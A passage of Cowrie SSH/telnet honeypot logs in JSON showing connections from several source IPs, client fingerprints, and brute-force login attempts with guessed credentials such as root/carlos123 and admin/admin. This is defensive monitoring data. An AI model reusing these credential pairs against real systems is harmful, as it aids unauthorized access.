03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:28:31.037490Z","src_ip":"154.70.102.114","session":"d5877118fb80","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"carlos123","message":"login attempt [root/carlos123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:28:31.918726Z","src_ip":"154.70.102.114","session":"d5877118fb80","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:28:33.133689Z","src_ip":"154.70.102.114","session":"d5877118fb80","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.53.159.196","src_port":41490,"dst_ip":"10.17.0.5","dst_port":22,"session":"362ecc23e4e1","protocol":"ssh","message":"New connection: 176.53.159.196:41490 (10.17.0.5:22) [session: 362ecc23e4e1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:28:48.207919Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:28:48.211227Z","src_ip":"176.53.159.196","session":"362ecc23e4e1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:28:48.306252Z","src_ip":"176.53.159.196","session":"362ecc23e4e1","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:28:48.594638Z","src_ip":"176.53.159.196","session":"362ecc23e4e1","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"176.53.159.196","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:28:48.690715Z","session":"362ecc23e4e1","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:28:48.787049Z","src_ip":"176.53.159.196","session":"362ecc23e4e1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:28:48.883714Z","src_ip":"176.53.159.196","session":"362ecc23e4e1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"77.94.47.83","src_port":46752,"dst_ip":"10.17.0.5","dst_port":22,"session":"20dd7ee6ccfd","protocol":"ssh","message":"New connection: 77.94.47.83:46752 (10.17.0.5:22) [session: 20dd7ee6ccfd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:29:12.534728Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:29:12.537783Z","src_ip":"77.94.47.83","session":"20dd7ee6ccfd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:29:12.647706Z","src_ip":"77.94.47.83","session":"20dd7ee6ccfd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"blue12","message":"login attempt [root/blue12] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:29:12.979269Z","src_ip":"77.94.47.83","session":"20dd7ee6ccfd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:29:14.091804Z","src_ip":"77.94.47.83","session":"20dd7ee6ccfd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"154.70.102.114","src_port":53686,"dst_ip":"10.17.0.5","dst_port":22,"session":"73dba92d9a5b","protocol":"ssh","message":"New connection: 154.70.102.114:53686 (10.17.0.5:22) [session: 73dba92d9a5b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:29:14.319450Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:29:14.322601Z","src_ip":"154.70.102.114","session":"73dba92d9a5b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:29:14.528115Z","src_ip":"154.70.102.114","session":"73dba92d9a5b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"xiaokeai","message":"login attempt [root/xiaokeai] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:29:15.380139Z","src_ip":"154.70.102.114","session":"73dba92d9a5b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:29:16.588342Z","src_ip":"154.70.102.114","session":"73dba92d9a5b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"147.185.132.204","src_port":54373,"dst_ip":"159.203.135.109","dst_port":23,"session":"2529256fd1c6","protocol":"telnet","message":"New connection: 147.185.132.204:54373 (159.203.135.109:23) [session: 2529256fd1c6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:29:36.340879Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.149.28.157","src_port":43946,"dst_ip":"159.203.135.109","dst_port":22,"session":"eb9aeffababe","protocol":"ssh","message":"New connection: 103.149.28.157:43946 (159.203.135.109:22) [session: eb9aeffababe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:29:48.189951Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:29:48.193616Z","src_ip":"103.149.28.157","session":"eb9aeffababe","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:29:48.443822Z","src_ip":"103.149.28.157","session":"eb9aeffababe","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"23vec4rpcc","message":"login attempt [root/23vec4rpcc] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:29:49.204056Z","src_ip":"103.149.28.157","session":"eb9aeffababe","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:29:50.456886Z","src_ip":"103.149.28.157","session":"eb9aeffababe","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"154.70.102.114","src_port":39546,"dst_ip":"10.17.0.5","dst_port":22,"session":"81eda9d22878","protocol":"ssh","message":"New connection: 154.70.102.114:39546 (10.17.0.5:22) [session: 81eda9d22878]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:29:56.306320Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:29:56.309950Z","src_ip":"154.70.102.114","session":"81eda9d22878","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:29:56.522193Z","src_ip":"154.70.102.114","session":"81eda9d22878","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Th123456789","message":"login attempt [root/Th123456789] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:29:57.408642Z","src_ip":"154.70.102.114","session":"81eda9d22878","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:29:58.623746Z","src_ip":"154.70.102.114","session":"81eda9d22878","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.89045262336731,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:30:07.231182Z","src_ip":"147.185.132.204","session":"2529256fd1c6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.176.20.57","src_port":44288,"dst_ip":"10.17.0.5","dst_port":22,"session":"db5a4f14dc02","protocol":"ssh","message":"New connection: 103.176.20.57:44288 (10.17.0.5:22) [session: db5a4f14dc02]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:30:21.605018Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:30:21.608644Z","src_ip":"103.176.20.57","session":"db5a4f14dc02","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:30:21.847079Z","src_ip":"103.176.20.57","session":"db5a4f14dc02","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.176","src_port":59482,"dst_ip":"10.17.0.5","dst_port":22,"session":"4e7e2d5262cb","protocol":"ssh","message":"New connection: 91.92.40.176:59482 (10.17.0.5:22) [session: 4e7e2d5262cb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:30:21.853789Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:30:21.860463Z","src_ip":"91.92.40.176","session":"4e7e2d5262cb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"2ec37a7cc8daf20b10e1ad6221061ca5","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group16-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,arcfour256,arcfour128,arcfour,3des-cbc,aes128-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group16-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-rsa","rsa-sha2-256","rsa-sha2-512","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","arcfour256","arcfour128","arcfour","3des-cbc","aes128-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 2ec37a7cc8daf20b10e1ad6221061ca5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:30:21.941447Z","src_ip":"91.92.40.176","session":"4e7e2d5262cb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"postgres","password":"password","message":"login attempt [postgres/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:30:22.190558Z","src_ip":"91.92.40.176","session":"4e7e2d5262cb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.53.159.196","src_port":32260,"dst_ip":"159.203.135.109","dst_port":22,"session":"5ebe16f723dc","protocol":"ssh","message":"New connection: 176.53.159.196:32260 (159.203.135.109:22) [session: 5ebe16f723dc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:30:22.315239Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:30:22.318993Z","src_ip":"176.53.159.196","session":"5ebe16f723dc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:30:22.414417Z","src_ip":"176.53.159.196","session":"5ebe16f723dc","protocol":"ssh"}
